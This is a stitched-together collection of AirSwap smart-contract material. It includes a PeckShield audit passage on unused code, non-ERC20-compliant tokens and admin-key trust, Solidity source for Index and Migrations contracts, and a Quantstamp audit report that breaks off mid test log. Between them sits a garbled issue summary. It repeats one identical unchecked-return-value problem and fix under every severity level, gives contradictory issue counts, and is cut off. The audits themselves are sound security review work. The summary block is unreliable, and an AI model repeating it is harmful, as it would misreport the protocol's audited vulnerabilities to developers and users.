•ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed with the latest commit.
/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Index: A List of Locators * @notice The Locators are sorted in reverse order based on the score * meaning that the first element in the list has the largest score * and final element has the smallest * @dev A mapping is used to mimic a circular linked list structure * where every mapping Entry contains a pointer to the next * and the previous */ contract Index is Ownable { // The number of entries in the index uint256 public length; // Identifier to use for the head of the list address constant internal HEAD = address(uint160(2**160-1)); // Mapping of an identifier to its entry mapping(address => Entry) public entries; /** * @notice Index Entry * @param score uint256 * @param locator bytes32 * @param prev address Previous address in the linked list * @param next address Next address in the linked list */ struct Entry { bytes32 locator; uint256 score; address prev; address next; } /** * @notice Contract Events */ event SetLocator( address indexed identifier, uint256 score, bytes32 indexed locator ); event UnsetLocator( address indexed identifier ); /** * @notice Contract Constructor */ constructor() public { // Create initial entry. entries[HEAD] = Entry(bytes32(0), 0, HEAD, HEAD); } /** * @notice Set a Locator * @param identifier address On-chain address identifying the owner of a locator * @param score uint256 Score for the locator being set * @param locator bytes32 Locator */ function setLocator( address identifier, uint256 score, bytes32 locator ) external onlyOwner { // Ensure the entry does not already exist. require(!_hasEntry(identifier), "ENTRY_ALREADY_EXISTS"); // Find the first entry with a lower score. address nextEntry = _getEntryLowerThan(score); // Link the new entry between previous and next. address prevEntry = entries[nextEntry].prev; entries[prevEntry].next = identifier; entries[nextEntry].prev = identifier; entries[identifier] = Entry(locator, score, prevEntry, nextEntry); // Increment the index length. length = length + 1; emit SetLocator(identifier, score, locator); } /** * @notice Unset a Locator * @param identifier address On-chain address identifying the owner of a locator */ function unsetLocator( address identifier ) external onlyOwner { // Ensure the entry exists. require(_hasEntry(identifier), "ENTRY_DOES_NOT_EXIST"); // Link the previous and next entries together. address prevUser = entries[identifier].prev; address nextUser = entries[identifier].next; entries[prevUser].next = nextUser; entries[nextUser].prev = prevUser; // Delete entry from the index. delete entries[identifier]; // Decrement the index length. length = length - 1; emit UnsetLocator(identifier); } /** * @notice Get a Score * @param identifier address On-chain address identifying the owner of a locator * @return uint256 Score corresponding to the identifier */ function getScore( address identifier ) external view returns (uint256) { return entries[identifier].score; } /** * @notice Get a Locator * @param identifier address On-chain address identifying the owner of a locator * @return bytes32 Locator information */ function getLocator( address identifier ) external view returns (bytes32) { return entries[identifier].locator; } /** * @notice Get a Range of Locators * @dev start value of 0x0 starts at the head * @param cursor address Cursor to start with * @param limit uint256 Maximum number of locators to return * @return bytes32[] List of locators * @return uint256[] List of scores corresponding to locators * @return address The next cursor to provide for pagination */ function getLocators( address cursor, uint256 limit ) external view returns ( bytes32[] memory locators, uint256[] memory scores, address nextCursor ) { address identifier; // If a valid cursor is provided, start there. if (cursor != address(0) && cursor != HEAD) { // Check that the provided cursor exists. if (!_hasEntry(cursor)) { return (new bytes32[](0), new uint256[](0), address(0)); } // Set the starting identifier to the provided cursor. identifier = cursor; } else { identifier = entries[HEAD].next; } // Although it's not known how many entries are between `cursor` and the end // We know that it is no more than `length` uint256 size = (length < limit) ? length : limit; locators = new bytes32[](size); scores = new uint256[](size); // Iterate over the list until the end or size. uint256 i; while (i < size && identifier != HEAD) { locators[i] = entries[identifier].locator; scores[i] = entries[identifier].score; i = i + 1; identifier = entries[identifier].next; } return (locators, scores, identifier); } /** * @notice Check if the Index has an Entry * @param identifier address On-chain address identifying the owner of a locator * @return bool True if the identifier corresponds to an Entry in the list */ function _hasEntry( address identifier ) internal view returns (bool) { return entries[identifier].locator != bytes32(0); } /** * @notice Returns the largest scoring Entry Lower than a Score * @param score uint256 Score in question * @return address Identifier of the largest score lower than score */ function _getEntryLowerThan( uint256 score ) internal view returns (address) { address identifier = entries[HEAD].next; // Head indicates last because the list is circular. if (score == 0) { return HEAD; } // Iterate until a lower score is found. while (score <= entries[identifier].score) { identifier = entries[identifier].next; } return identifier; } } pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; contract Imports {}
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf 